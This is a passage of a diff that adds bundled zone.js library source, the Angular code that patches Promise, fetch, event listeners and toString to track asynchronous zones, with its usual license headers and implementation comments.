promise[symbolState] = state; + var queue = promise[symbolValue]; + promise[symbolValue] = value; + if (promise[symbolFinally] === symbolFinally) { + // the promise is generated by Promise.prototype.finally + if (state === RESOLVED) { + // the state is resolved, should ignore the value + // and use parent promise value + promise[symbolState] = promise[symbolParentPromiseState]; + promise[symbolValue] = promise[symbolParentPromiseValue]; + } + } + // record task information in value when error occurs, so we can + // do some additional work such as render longStackTrace + if (state === REJECTED && value instanceof Error) { + // check if longStackTraceZone is here + var trace = Zone.currentTask && Zone.currentTask.data && + Zone.currentTask.data[creationTrace]; + if (trace) { + // only keep the long stack trace into error when in longStackTraceZone + ObjectDefineProperty(value, CURRENT_TASK_TRACE_SYMBOL, { configurable: true, enumerable: false, writable: true, value: trace }); + } + } + for (var i = 0; i < queue.length;) { + scheduleResolveOrReject(promise, queue[i++], queue[i++], queue[i++], queue[i++]); + } + if (queue.length == 0 && state == REJECTED) { + promise[symbolState] = REJECTED_NO_CATCH; + try { + // try to print more readable error log + throw new Error('Uncaught (in promise): ' + readableObjectToString(value) + + (value && value.stack ? '\n' + value.stack : '')); + } + catch (err) { + var error_1 = err; + error_1.rejection = value; + error_1.promise = promise; + error_1.zone = Zone.current; + error_1.task = Zone.currentTask; + _uncaughtPromiseErrors.push(error_1); + api.scheduleMicroTask(); // to make sure that it is running + } + } + } + } + // Resolving an already resolved promise is a noop. + return promise; + } + var REJECTION_HANDLED_HANDLER = __symbol__('rejectionHandledHandler'); + function clearRejectedNoCatch(promise) { + if (promise[symbolState] === REJECTED_NO_CATCH) { + // if the promise is rejected no catch status + // and queue.length > 0, means there is a error handler + // here to handle the rejected promise, we should trigger + // windows.rejectionhandled eventHandler or nodejs rejectionHandled + // eventHandler + try { + var handler = Zone[REJECTION_HANDLED_HANDLER]; + if (handler && typeof handler === 'function') { + handler.call(this, { rejection: promise[symbolValue], promise: promise }); + } + } + catch (err) { + } + promise[symbolState] = REJECTED; + for (var i = 0; i < _uncaughtPromiseErrors.length; i++) { + if (promise === _uncaughtPromiseErrors[i].promise) { + _uncaughtPromiseErrors.splice(i, 1); + } + } + } + } + function scheduleResolveOrReject(promise, zone, chainPromise, onFulfilled, onRejected) { + clearRejectedNoCatch(promise); + var promiseState = promise[symbolState]; + var delegate = promiseState ? + (typeof onFulfilled === 'function') ? onFulfilled : forwardResolution : + (typeof onRejected === 'function') ? onRejected : forwardRejection; + zone.scheduleMicroTask(source, function () { + try { + var parentPromiseValue = promise[symbolValue]; + var isFinallyPromise = chainPromise && symbolFinally === chainPromise[symbolFinally]; + if (isFinallyPromise) { + // if the promise is generated from finally call, keep parent promise's state and value + chainPromise[symbolParentPromiseValue] = parentPromiseValue; + chainPromise[symbolParentPromiseState] = promiseState; + } + // should not pass value to finally callback + var value = zone.run(delegate, undefined, isFinallyPromise && delegate !== forwardRejection && delegate !== forwardResolution ? + [] : + [parentPromiseValue]); + resolvePromise(chainPromise, true, value); + } + catch (error) { + // if error occurs, should always return this error + resolvePromise(chainPromise, false, error); + } + }, chainPromise); + } + var ZONE_AWARE_PROMISE_TO_STRING = 'function ZoneAwarePromise() { [native code] }'; + var ZoneAwarePromise = /** @class */ (function () { + function ZoneAwarePromise(executor) { + var promise = this; + if (!(promise instanceof ZoneAwarePromise)) { + throw new Error('Must be an instanceof Promise.'); + } + promise[symbolState] = UNRESOLVED; + promise[symbolValue] = []; // queue; + try { + executor && executor(makeResolver(promise, RESOLVED), makeResolver(promise, REJECTED)); + } + catch (error) { + resolvePromise(promise, false, error); + } + } + ZoneAwarePromise.toString = function () { + return ZONE_AWARE_PROMISE_TO_STRING; + }; + ZoneAwarePromise.resolve = function (value) { + return resolvePromise(new this(null), RESOLVED, value); + }; + ZoneAwarePromise.reject = function (error) { + return resolvePromise(new this(null), REJECTED, error); + }; + ZoneAwarePromise.race = function (values) { + var e_1, _a; + var resolve; + var reject; + var promise = new this(function (res, rej) { + resolve = res; + reject = rej; + }); + function onResolve(value) { + resolve(value); + } + function onReject(error) { + reject(error); + } + try { + for (var values_1 = __values(values), values_1_1 = values_1.next(); !values_1_1.done; values_1_1 = values_1.next()) { + var value = values_1_1.value; + if (!isThenable(value)) { + value = this.resolve(value); + } + value.then(onResolve, onReject); + } + } + catch (e_1_1) { e_1 = { error: e_1_1 }; } + finally { + try { + if (values_1_1 && !values_1_1.done && (_a = values_1.return)) _a.call(values_1); + } + finally { if (e_1) throw e_1.error; } + } + return promise; + }; + ZoneAwarePromise.all = function (values) { + var e_2, _a; + var resolve; + var reject; + var promise = new this(function (res, rej) { + resolve = res; + reject = rej; + }); + // Start at 2 to prevent prematurely resolving if .then is called immediately. + var unresolvedCount = 2; + var valueIndex = 0; + var resolvedValues = []; + var _loop_2 = function (value) { + if (!isThenable(value)) { + value = this_1.resolve(value); + } + var curValueIndex = valueIndex; + value.then(function (value) { + resolvedValues[curValueIndex] = value; + unresolvedCount--; + if (unresolvedCount === 0) { + resolve(resolvedValues); + } + }, reject); + unresolvedCount++; + valueIndex++; + }; + var this_1 = this; + try { + for (var values_2 = __values(values), values_2_1 = values_2.next(); !values_2_1.done; values_2_1 = values_2.next()) { + var value = values_2_1.value; + _loop_2(value); + } + } + catch (e_2_1) { e_2 = { error: e_2_1 }; } + finally { + try { + if (values_2_1 && !values_2_1.done && (_a = values_2.return)) _a.call(values_2); + } + finally { if (e_2) throw e_2.error; } + } + // Make the unresolvedCount zero-based again. + unresolvedCount -= 2; + if (unresolvedCount === 0) { + resolve(resolvedValues); + } + return promise; + }; + Object.defineProperty(ZoneAwarePromise.prototype, Symbol.toStringTag, { + get: function () { + return 'Promise'; + }, + enumerable: true, + configurable: true + }); + ZoneAwarePromise.prototype.then = function (onFulfilled, onRejected) { + var chainPromise = new this.constructor(null); + var zone = Zone.current; + if (this[symbolState] == UNRESOLVED) { + this[symbolValue].push(zone, chainPromise, onFulfilled, onRejected); + } + else { + scheduleResolveOrReject(this, zone, chainPromise, onFulfilled, onRejected); + } + return chainPromise; + }; + ZoneAwarePromise.prototype.catch = function (onRejected) { + return this.then(null, onRejected); + }; + ZoneAwarePromise.prototype.finally = function (onFinally) { + var chainPromise = new this.constructor(null); + chainPromise[symbolFinally] = symbolFinally; + var zone = Zone.current; + if (this[symbolState] == UNRESOLVED) { + this[symbolValue].push(zone, chainPromise, onFinally, onFinally); + } + else { + scheduleResolveOrReject(this, zone, chainPromise, onFinally, onFinally); + } + return chainPromise; + }; + return ZoneAwarePromise; + }()); + // Protect against aggressive optimizers dropping seemingly unused properties. + // E.g. Closure Compiler in advanced mode. + ZoneAwarePromise['resolve'] = ZoneAwarePromise.resolve; + ZoneAwarePromise['reject'] = ZoneAwarePromise.reject; + ZoneAwarePromise['race'] = ZoneAwarePromise.race; + ZoneAwarePromise['all'] = ZoneAwarePromise.all; + var NativePromise = global[symbolPromise] = global['Promise']; + var ZONE_AWARE_PROMISE = Zone.__symbol__('ZoneAwarePromise'); + var desc = ObjectGetOwnPropertyDescriptor(global, 'Promise'); + if (!desc || desc.configurable) { + desc && delete desc.writable; + desc && delete desc.value; + if (!desc) { + desc = { configurable: true, enumerable: true }; + } + desc.get = function () { + // if we already set ZoneAwarePromise, use patched one + // otherwise return native one. + return global[ZONE_AWARE_PROMISE] ? global[ZONE_AWARE_PROMISE] : global[symbolPromise]; + }; + desc.set = function (NewNativePromise) { + if (NewNativePromise === ZoneAwarePromise) { + // if the NewNativePromise is ZoneAwarePromise + // save to global + global[ZONE_AWARE_PROMISE] = NewNativePromise; + } + else { + // if the NewNativePromise is not ZoneAwarePromise + // for example: after load zone.js, some library just + // set es6-promise to global, if we set it to global + // directly, assertZonePatched will fail and angular + // will not loaded, so we just set the NewNativePromise + // to global[symbolPromise], so the result is just like + // we load ES6 Promise before zone.js + global[symbolPromise] = NewNativePromise; + if (!NewNativePromise.prototype[symbolThen]) { + patchThen(NewNativePromise); + } + api.setNativePromise(NewNativePromise); + } + }; + ObjectDefineProperty(global, 'Promise', desc); + } + global['Promise'] = ZoneAwarePromise; + var symbolThenPatched = __symbol__('thenPatched'); + function patchThen(Ctor) { + var proto = Ctor.prototype; + var prop = ObjectGetOwnPropertyDescriptor(proto, 'then'); + if (prop && (prop.writable === false || !prop.configurable)) { + // check Ctor.prototype.then propertyDescriptor is writable or not + // in meteor env, writable is false, we should ignore such case + return; + } + var originalThen = proto.then; + // Keep a reference to the original method. + proto[symbolThen] = originalThen; + Ctor.prototype.then = function (onResolve, onReject) { + var _this = this; + var wrapped = new ZoneAwarePromise(function (resolve, reject) { + originalThen.call(_this, resolve, reject); + }); + return wrapped.then(onResolve, onReject); + }; + Ctor[symbolThenPatched] = true; + } + api.patchThen = patchThen; + function zoneify(fn) { + return function () { + var resultPromise = fn.apply(this, arguments); + if (resultPromise instanceof ZoneAwarePromise) { + return resultPromise; + } + var ctor = resultPromise.constructor; + if (!ctor[symbolThenPatched]) { + patchThen(ctor); + } + return resultPromise; + }; + } + if (NativePromise) { + patchThen(NativePromise); + var fetch_1 = global['fetch']; + if (typeof fetch_1 == 'function') { + global[api.symbol('fetch')] = fetch_1; + global['fetch'] = zoneify(fetch_1); + } + } + // This is not part of public API, but it is useful for tests, so we expose it. + Promise[Zone.__symbol__('uncaughtPromiseErrors')] = _uncaughtPromiseErrors; + return ZoneAwarePromise; +}); + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +/** + * Suppress closure compiler errors about unknown 'Zone' variable + * @fileoverview + * @suppress {undefinedVars,globalThis,missingRequire} + */ +// issue #989, to reduce bundle size, use short name +/** Object.getOwnPropertyDescriptor */ +var ObjectGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; +/** Object.defineProperty */ +var ObjectDefineProperty = Object.defineProperty; +/** Object.getPrototypeOf */ +var ObjectGetPrototypeOf = Object.getPrototypeOf; +/** Object.create */ +var ObjectCreate = Object.create; +/** Array.prototype.slice */ +var ArraySlice = Array.prototype.slice; +/** addEventListener string const */ +var ADD_EVENT_LISTENER_STR = 'addEventListener'; +/** removeEventListener string const */ +var REMOVE_EVENT_LISTENER_STR = 'removeEventListener'; +/** zoneSymbol addEventListener */ +var ZONE_SYMBOL_ADD_EVENT_LISTENER = Zone.__symbol__(ADD_EVENT_LISTENER_STR); +/** zoneSymbol removeEventListener */ +var ZONE_SYMBOL_REMOVE_EVENT_LISTENER = Zone.__symbol__(REMOVE_EVENT_LISTENER_STR); +/** true string const */ +var TRUE_STR = 'true'; +/** false string const */ +var FALSE_STR = 'false'; +/** __zone_symbol__ string const */ +var ZONE_SYMBOL_PREFIX = '__zone_symbol__'; +function wrapWithCurrentZone(callback, source) { + return Zone.current.wrap(callback, source); +} +function scheduleMacroTaskWithCurrentZone(source, callback, data, customSchedule, customCancel) { + return Zone.current.scheduleMacroTask(source, callback, data, customSchedule, customCancel); +} +var zoneSymbol = Zone.__symbol__; +var isWindowExists = typeof window !== 'undefined'; +var internalWindow = isWindowExists ? window : undefined; +var _global = isWindowExists && internalWindow || typeof self === 'object' && self || global; +var REMOVE_ATTRIBUTE = 'removeAttribute'; +var NULL_ON_PROP_VALUE = [null]; +function bindArguments(args, source) { + for (var i = args.length - 1; i >= 0; i--) { + if (typeof args[i] === 'function') { + args[i] = wrapWithCurrentZone(args[i], source + '_' + i); + } + } + return args; +} +function patchPrototype(prototype, fnNames) { + var source = prototype.constructor['name']; + var _loop_1 = function (i) { + var name_1 = fnNames[i]; + var delegate = prototype[name_1]; + if (delegate) { + var prototypeDesc = ObjectGetOwnPropertyDescriptor(prototype, name_1); + if (!isPropertyWritable(prototypeDesc)) { + return "continue"; + } + prototype[name_1] = (function (delegate) { + var patched = function () { + return delegate.apply(this, bindArguments(arguments, source + '.' + name_1)); + }; + attachOriginToPatched(patched, delegate); + return patched; + })(delegate); + } + }; + for (var i = 0; i < fnNames.length; i++) { + _loop_1(i); + } +} +function isPropertyWritable(propertyDesc) { + if (!propertyDesc) { + return true; + } + if (propertyDesc.writable === false) { + return false; + } + return !(typeof propertyDesc.get === 'function' && typeof propertyDesc.set === 'undefined'); +} +var isWebWorker = (typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope); +// Make sure to access `process` through `_global` so that WebPack does not accidentally browserify +// this code. +var isNode = (!('nw' in _global) && typeof _global.process !== 'undefined' && + {}.toString.call(_global.process) === '[object process]'); +var isBrowser = !isNode && !isWebWorker && !!(isWindowExists && internalWindow['HTMLElement']); +// we are in electron of nw, so we are both browser and nodejs +// Make sure to access `process` through `_global` so that WebPack does not accidentally browserify +// this code. +var isMix = typeof _global.process !== 'undefined' && + {}.toString.call(_global.process) === '[object process]' && !isWebWorker && + !!(isWindowExists && internalWindow['HTMLElement']); +var zoneSymbolEventNames = {}; +var wrapFn = function (event) { + // https://github.com/angular/zone.js/issues/911, in IE, sometimes + // event will be undefined, so we need to use window.event + event = event || _global.event; + if (!event) { + return; + } + var eventNameSymbol = zoneSymbolEventNames[event.type]; + if (!eventNameSymbol) { + eventNameSymbol = zoneSymbolEventNames[event.type] = zoneSymbol('ON_PROPERTY' + event.type); + } + var target = this || event.target || _global; + var listener = target[eventNameSymbol]; + var result; + if (isBrowser && target === internalWindow && event.type === 'error') { + // window.onerror have different signiture + // https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onerror#window.onerror + // and onerror callback will prevent default when callback return true + var errorEvent = event; + result = listener && + listener.call(this, errorEvent.message, errorEvent.filename, errorEvent.lineno, errorEvent.colno, errorEvent.error); + if (result === true) { + event.preventDefault(); + } + } + else { + result = listener && listener.apply(this, arguments); + if (result != undefined && !result) { + event.preventDefault(); + } + } + return result; +}; +function patchProperty(obj, prop, prototype) { + var desc = ObjectGetOwnPropertyDescriptor(obj, prop); + if (!desc && prototype) { + // when patch window object, use prototype to check prop exist or not + var prototypeDesc = ObjectGetOwnPropertyDescriptor(prototype, prop); + if (prototypeDesc) { + desc = { enumerable: true, configurable: true }; + } + } + // if the descriptor not exists or is not configurable + // just return + if (!desc || !desc.configurable) { + return; + } + var onPropPatchedSymbol = zoneSymbol('on' + prop + 'patched'); + if (obj.hasOwnProperty(onPropPatchedSymbol) && obj[onPropPatchedSymbol]) { + return; + } + // A property descriptor cannot have getter/setter and be writable + // deleting the writable and value properties avoids this error: + // + // TypeError: property descriptors must not specify a value or be writable when a + // getter or setter has been specified + delete desc.writable; + delete desc.value; + var originalDescGet = desc.get; + var originalDescSet = desc.set; + // substr(2) cuz 'onclick' -> 'click', etc + var eventName = prop.substr(2); + var eventNameSymbol = zoneSymbolEventNames[eventName]; + if (!eventNameSymbol) { + eventNameSymbol = zoneSymbolEventNames[eventName] = zoneSymbol('ON_PROPERTY' + eventName); + } + desc.set = function (newValue) { + // in some of windows's onproperty callback, this is undefined + // so we need to check it + var target = this; + if (!target && obj === _global) { + target = _global; + } + if (!target) { + return; + } + var previousValue = target[eventNameSymbol]; + if (previousValue) { + target.removeEventListener(eventName, wrapFn); + } + // issue #978, when onload handler was added before loading zone.js + // we should remove it with originalDescSet + if (originalDescSet) { + originalDescSet.apply(target, NULL_ON_PROP_VALUE); + } + if (typeof newValue === 'function') { + target[eventNameSymbol] = newValue; + target.addEventListener(eventName, wrapFn, false); + } + else { + target[eventNameSymbol] = null; + } + }; + // The getter would return undefined for unassigned properties but the default value of an + // unassigned property is null + desc.get = function () { + // in some of windows's onproperty callback, this is undefined + // so we need to check it + var target = this; + if (!target && obj === _global) { + target = _global; + } + if (!target) { + return null; + } + var listener = target[eventNameSymbol]; + if (listener) { + return listener; + } + else if (originalDescGet) { + // result will be null when use inline event attribute, + // such as + // because the onclick function is internal raw uncompiled handler + // the onclick will be evaluated when first time event was triggered or + // the property is accessed, https://github.com/angular/zone.js/issues/525 + // so we should use original native get to retrieve the handler + var value = originalDescGet && originalDescGet.call(this); + if (value) { + desc.set.call(this, value); + if (typeof target[REMOVE_ATTRIBUTE] === 'function') { + target.removeAttribute(prop); + } + return value; + } + } + return null; + }; + ObjectDefineProperty(obj, prop, desc); + obj[onPropPatchedSymbol] = true; +} +function patchOnProperties(obj, properties, prototype) { + if (properties) { + for (var i = 0; i < properties.length; i++) { + patchProperty(obj, 'on' + properties[i], prototype); + } + } + else { + var onProperties = []; + for (var prop in obj) { + if (prop.substr(0, 2) == 'on') { + onProperties.push(prop); + } + } + for (var j = 0; j < onProperties.length; j++) { + patchProperty(obj, onProperties[j], prototype); + } + } +} +var originalInstanceKey = zoneSymbol('originalInstance'); +// wrap some native API on `window` +function patchClass(className) { + var OriginalClass = _global[className]; + if (!OriginalClass) + return; + // keep original class in global + _global[zoneSymbol(className)] = OriginalClass; + _global[className] = function () { + var a = bindArguments(arguments, className); + switch (a.length) { + case 0: + this[originalInstanceKey] = new OriginalClass(); + break; + case 1: + this[originalInstanceKey] = new OriginalClass(a[0]); + break; + case 2: + this[originalInstanceKey] = new OriginalClass(a[0], a[1]); + break; + case 3: + this[originalInstanceKey] = new OriginalClass(a[0], a[1], a[2]); + break; + case 4: + this[originalInstanceKey] = new OriginalClass(a[0], a[1], a[2], a[3]); + break; + default: + throw new Error('Arg list too long.'); + } + }; + // attach original delegate to patched function + attachOriginToPatched(_global[className], OriginalClass); + var instance = new OriginalClass(function () { }); + var prop; + for (prop in instance) { + // https://bugs.webkit.org/show_bug.cgi?id=44721 + if (className === 'XMLHttpRequest' && prop === 'responseBlob') + continue; + (function (prop) { + if (typeof instance[prop] === 'function') { + _global[className].prototype[prop] = function () { + return this[originalInstanceKey][prop].apply(this[originalInstanceKey], arguments); + }; + } + else { + ObjectDefineProperty(_global[className].prototype, prop, { + set: function (fn) { + if (typeof fn === 'function') { + this[originalInstanceKey][prop] = wrapWithCurrentZone(fn, className + '.' + prop); + // keep callback in wrapped function so we can + // use it in Function.prototype.toString to return + // the native one. + attachOriginToPatched(this[originalInstanceKey][prop], fn); + } + else { + this[originalInstanceKey][prop] = fn; + } + }, + get: function () { + return this[originalInstanceKey][prop]; + } + }); + } + }(prop)); + } + for (prop in OriginalClass) { + if (prop !== 'prototype' && OriginalClass.hasOwnProperty(prop)) { + _global[className][prop] = OriginalClass[prop]; + } + } +} +function copySymbolProperties(src, dest) { + if (typeof Object.getOwnPropertySymbols !== 'function') { + return; + } + var symbols = Object.getOwnPropertySymbols(src); + symbols.forEach(function (symbol) { + var desc = Object.getOwnPropertyDescriptor(src, symbol); + Object.defineProperty(dest, symbol, { + get: function () { + return src[symbol]; + }, + set: function (value) { + if (desc && (!desc.writable || typeof desc.set !== 'function')) { + // if src[symbol] is not writable or not have a setter, just return + return; + } + src[symbol] = value; + }, + enumerable: desc ? desc.enumerable : true, + configurable: desc ? desc.configurable : true + }); + }); +} +var shouldCopySymbolProperties = false; + +function patchMethod(target, name, patchFn) { + var proto = target; + while (proto && !proto.hasOwnProperty(name)) { + proto = ObjectGetPrototypeOf(proto); + } + if (!proto && target[name]) { + // somehow we did not find it, but we can see it. This happens on IE for Window properties. + proto = target; + } + var delegateName = zoneSymbol(name); + var delegate = null; + if (proto && !(delegate = proto[delegateName])) { + delegate = proto[delegateName] = proto[name]; + // check whether proto[name] is writable + // some property is readonly in safari, such as HtmlCanvasElement.prototype.toBlob + var desc = proto && ObjectGetOwnPropertyDescriptor(proto, name); + if (isPropertyWritable(desc)) { + var patchDelegate_1 = patchFn(delegate, delegateName, name); + proto[name] = function () { + return patchDelegate_1(this, arguments); + }; + attachOriginToPatched(proto[name], delegate); + if (shouldCopySymbolProperties) { + copySymbolProperties(delegate, proto[name]); + } + } + } + return delegate; +} +// TODO: @JiaLiPassion, support cancel task later if necessary +function patchMacroTask(obj, funcName, metaCreator) { + var setNative = null; + function scheduleTask(task) { + var data = task.data; + data.args[data.cbIdx] = function () { + task.invoke.apply(this, arguments); + }; + setNative.apply(data.target, data.args); + return task; + } + setNative = patchMethod(obj, funcName, function (delegate) { return function (self, args) { + var meta = metaCreator(self, args); + if (meta.cbIdx >= 0 && typeof args[meta.cbIdx] === 'function') { + return scheduleMacroTaskWithCurrentZone(meta.name, args[meta.cbIdx], meta, scheduleTask); + } + else { + // cause an error by calling it directly. + return delegate.apply(self, args); + } + }; }); +} + +function attachOriginToPatched(patched, original) { + patched[zoneSymbol('OriginalDelegate')] = original; +} +var isDetectedIEOrEdge = false; +var ieOrEdge = false; +function isIE() { + try { + var ua = internalWindow.navigator.userAgent; + if (ua.indexOf('MSIE ') !== -1 || ua.indexOf('Trident/') !== -1) { + return true; + } + } + catch (error) { + } + return false; +} +function isIEOrEdge() { + if (isDetectedIEOrEdge) { + return ieOrEdge; + } + isDetectedIEOrEdge = true; + try { + var ua = internalWindow.navigator.userAgent; + if (ua.indexOf('MSIE ') !== -1 || ua.indexOf('Trident/') !== -1 || ua.indexOf('Edge/') !== -1) { + ieOrEdge = true; + } + } + catch (error) { + } + return ieOrEdge; +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +// override Function.prototype.toString to make zone.js patched function +// look like native function +Zone.__load_patch('toString', function (global) { + // patch Func.prototype.toString to let them look like native + var originalFunctionToString = Function.prototype.toString; + var ORIGINAL_DELEGATE_SYMBOL = zoneSymbol('OriginalDelegate'); + var PROMISE_SYMBOL = zoneSymbol('Promise'); + var ERROR_SYMBOL = zoneSymbol('Error'); + var newFunctionToString = function toString() { + if (typeof this === 'function') { + var originalDelegate = this[ORIGINAL_DELEGATE_SYMBOL]; + if (originalDelegate) { + if (typeof originalDelegate === 'function') { + return originalFunctionToString.call(originalDelegate); + } + else { + return Object.prototype.toString.call(originalDelegate); + } + } + if (this === Promise) { + var nativePromise = global[PROMISE_SYMBOL]; + if (nativePromise) { + return originalFunctionToString.call(nativePromise); + } + } + if (this === Error) { + var nativeError = global[ERROR_SYMBOL]; + if (nativeError) { + return originalFunctionToString.call(nativeError); + } + } + } + return originalFunctionToString.call(this); + }; + newFunctionToString[ORIGINAL_DELEGATE_SYMBOL] = originalFunctionToString; + Function.prototype.toString = newFunctionToString; + // patch Object.prototype.toString to let them look like native + var originalObjectToString = Object.prototype.toString; + var PROMISE_OBJECT_TO_STRING = '[object Promise]'; + Object.prototype.toString = function () { + if (this instanceof Promise) { + return PROMISE_OBJECT_TO_STRING; + } + return originalObjectToString.call(this); + }; +}); + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +/** + * @fileoverview + * @suppress {missingRequire} + */ +var passiveSupported = false; +if (typeof window !== 'undefined') { + try { + var options = Object.defineProperty({}, 'passive', { + get: function () { + passiveSupported = true; + } + }); + window.addEventListener('test', options, options); + window.removeEventListener('test', options, options); + } + catch (err) { + passiveSupported = false; + } +} +// an identifier to tell ZoneTask do not create a new invoke closure +var OPTIMIZED_ZONE_EVENT_TASK_DATA = { + useG: true +}; +var zoneSymbolEventNames$1 = {}; +var globalSources = {}; +var EVENT_NAME_SYMBOL_REGX = /^__zone_symbol__(\w+)(true|false)$/; +var IMMEDIATE_PROPAGATION_SYMBOL = ('__zone_symbol__propagationStopped'); +function patchEventTarget(_global, apis, patchOptions) { + var ADD_EVENT_LISTENER = (patchOptions && patchOptions.add) || ADD_EVENT_LISTENER_STR; + var REMOVE_EVENT_LISTENER = (patchOptions && patchOptions.rm) || REMOVE_EVENT_LISTENER_STR; + var LISTENERS_EVENT_LISTENER = (patchOptions && patchOptions.listeners) || 'eventListeners'; + var REMOVE_ALL_LISTENERS_EVENT_LISTENER = (patchOptions && patchOptions.rmAll) || 'removeAllListeners'; + var zoneSymbolAddEventListener = zoneSymbol(ADD_EVENT_LISTENER); + var ADD_EVENT_LISTENER_SOURCE = '.' + ADD_EVENT_LISTENER + ':'; + var PREPEND_EVENT_LISTENER = 'prependListener'; + var PREPEND_EVENT_LISTENER_SOURCE = '.' + PREPEND_EVENT_LISTENER + ':'; + var invokeTask = function (task, target, event) { + // for better performance, check isRemoved which is set + // by removeEventListener + if (task.isRemoved) { + return; + } + var delegate = task.callback; + if (typeof delegate === 'object' && delegate.handleEvent) { + // create the bind version of handleEvent when invoke + task.callback = function (event) { return delegate.handleEvent(event); }; + task.originalDelegate = delegate; + } + // invoke static task.invoke + task.invoke(task, target, [event]); + var options = task.options; + if (options && typeof options === 'object' && options.once) { + // if options.once is true, after invoke once remove listener here + // only browser need to do this, nodejs eventEmitter will cal removeListener + // inside EventEmitter.once + var delegate_1 = task.originalDelegate ? task.originalDelegate : task.callback; + target[REMOVE_EVENT_LISTENER].call(target, event.type, delegate_1, options); + } + }; + // global shared zoneAwareCallback to handle all event callback with capture = false + var globalZoneAwareCallback = function (event) { + // https://github.com/angular/zone.js/issues/911, in IE, sometimes + // event will be undefined, so we need to use window.event + event = event || _global.event; + if (!event) { + return; + } + // event.target is needed for Samsung TV and SourceBuffer + // || global is needed https://github.com/angular/zone.js/issues/190 + var target = this || event.target || _global; + var tasks = target[zoneSymbolEventNames$1[event.type][FALSE_STR]]; + if (tasks) { + // invoke all tasks which attached to current target with given event.type and capture = false + // for performance concern, if task.length === 1, just invoke + if (tasks.length === 1) { + invokeTask(tasks[0], target, event); + } + else { + // https://github.com/angular/zone.js/issues/836 + // copy the tasks array before invoke, to avoid + // the callback will remove itself or other listener + var copyTasks = tasks.slice(); + for (var i = 0; i < copyTasks.length; i++) { + if (event && event[IMMEDIATE_PROPAGATION_SYMBOL] === true) { + break; + } + invokeTask(copyTasks[i], target, event); + } + } + } + }; + // global shared zoneAwareCallback to handle all event callback with capture = true + var globalZoneAwareCaptureCallback = function (event) { + // https://github.com/angular/zone.js/issues/911, in IE, sometimes + // event will be undefined, so we need to use window.event + event = event || _global.event; + if (!event) { + return; + } + // event.target is needed for Samsung TV and SourceBuffer + // || global is needed https://github.com/angular/zone.js/issues/190 + var target = this || event.target || _global; + var tasks = target[zoneSymbolEventNames$1[event.type][TRUE_STR]]; + if (tasks) { + // invoke all tasks which attached to current target with given event.type and capture = false + // for performance concern, if task.length === 1, just invoke + if (tasks.length === 1) { + invokeTask(tasks[0], target, event); + } + else { + // https://github.com/angular/zone.js/issues/836 + // copy the tasks array before invoke, to avoid + // the callback will remove itself or other listener + var copyTasks = tasks.slice(); + for (var i = 0; i < copyTasks.length; i++) { + if (event && event[IMMEDIATE_PROPAGATION_SYMBOL] === true) { + break; + } + invokeTask(copyTasks[i], target, event); + } + } + } + }; + function patchEventTargetMethods(obj, patchOptions) { + if (!obj) { + return false; + } + var useGlobalCallback = true; + if (patchOptions && patchOptions.useG !== undefined) { + useGlobalCallback = patchOptions.useG; + } + var validateHandler = patchOptions && patchOptions.vh; + var checkDuplicate = true; + if (patchOptions && patchOptions.chkDup !== undefined) { + checkDuplicate = patchOptions.chkDup; + } + var returnTarget = false; + if (patchOptions && patchOptions.rt !== undefined) { + returnTarget = patchOptions.rt; + } + var proto = obj; + while (proto && !proto.hasOwnProperty(ADD_EVENT_LISTENER)) { + proto = ObjectGetPrototypeOf(proto); + } + if (!proto && obj[ADD_EVENT_LISTENER]) { + // somehow we did not find it, but we can see it. This happens on IE for Window properties. + proto = obj; + } + if (!proto) { + return false; + } + if (proto[zoneSymbolAddEventListener]) { + return false; + } + var eventNameToString = patchOptions && patchOptions.eventNameToString; + // a shared global taskData to pass data for scheduleEventTask + // so we do not need to create a new object just for pass some data + var taskData = {}; + var nativeAddEventListener = proto[zoneSymbolAddEventListener] = proto[ADD_EVENT_LISTENER]; + var nativeRemoveEventListener = proto[zoneSymbol(REMOVE_EVENT_LISTENER)] = + proto[REMOVE_EVENT_LISTENER]; + var nativeListeners = proto[zoneSymbol(LISTENERS_EVENT_LISTENER)] = + proto[LISTENERS_EVENT_LISTENER]; + var nativeRemoveAllListeners = proto[zoneSymbol(REMOVE_ALL_LISTENERS_EVENT_LISTENER)] = + proto[REMOVE_ALL_LISTENERS_EVENT_LISTENER]; + var nativePrependEventListener; + if (patchOptions && patchOptions.prepend) { + nativePrependEventListener = proto[zoneSymbol(patchOptions.prepend)] = + proto[patchOptions.prepend]; + } + function checkIsPassive(task) { + if (!passiveSupported && typeof taskData.options !== 'boolean' && + typeof taskData.options !== 'undefined' && taskData.options !== null) { + // options is a non-null non-undefined object + // passive is not supported + // don't pass options as object + // just pass capture as a boolean + task.options = !!taskData.options.capture; + taskData.options = task.options; + } + } + var customScheduleGlobal = function (task) { + // if there is already a task for the eventName + capture, + // just return, because we use the shared globalZoneAwareCallback here. + if (taskData.isExisting) { + return; + } + checkIsPassive(task); + return nativeAddEventListener.call(taskData.target, taskData.eventName, taskData.capture ? globalZoneAwareCaptureCallback : globalZoneAwareCallback, taskData.options); + }; + var customCancelGlobal = function (task) { + // if task is not marked as isRemoved, this call is directly + // from Zone.prototype.cancelTask, we should remove the task + // from tasksList of target first + if (!task.isRemoved) { + var symbolEventNames = zoneSymbolEventNames$1[task.eventName]; + var symbolEventName = void 0; + if (symbolEventNames) { + symbolEventName = symbolEventNames[task.capture ? TRUE_STR : FALSE_STR]; + } + var existingTasks = symbolEventName && task.target[symbolEventName]; + if (existingTasks) { + for (var i = 0; i < existingTasks.length; i++) { + var existingTask = existingTasks[i]; + if (existingTask === task) { + existingTasks.splice(i, 1); + // set isRemoved to data for faster invokeTask check + task.isRemoved = true; + if (existingTasks.length === 0) { + // all tasks for the eventName + capture have gone, + // remove globalZoneAwareCallback and remove the task cache from target + task.allRemoved = true; + task.target[symbolEventName] = null; + } + break; + } + } + } + } + // if all tasks for the eventName + capture have gone, + // we will really remove the global event callback, + // if not, return + if 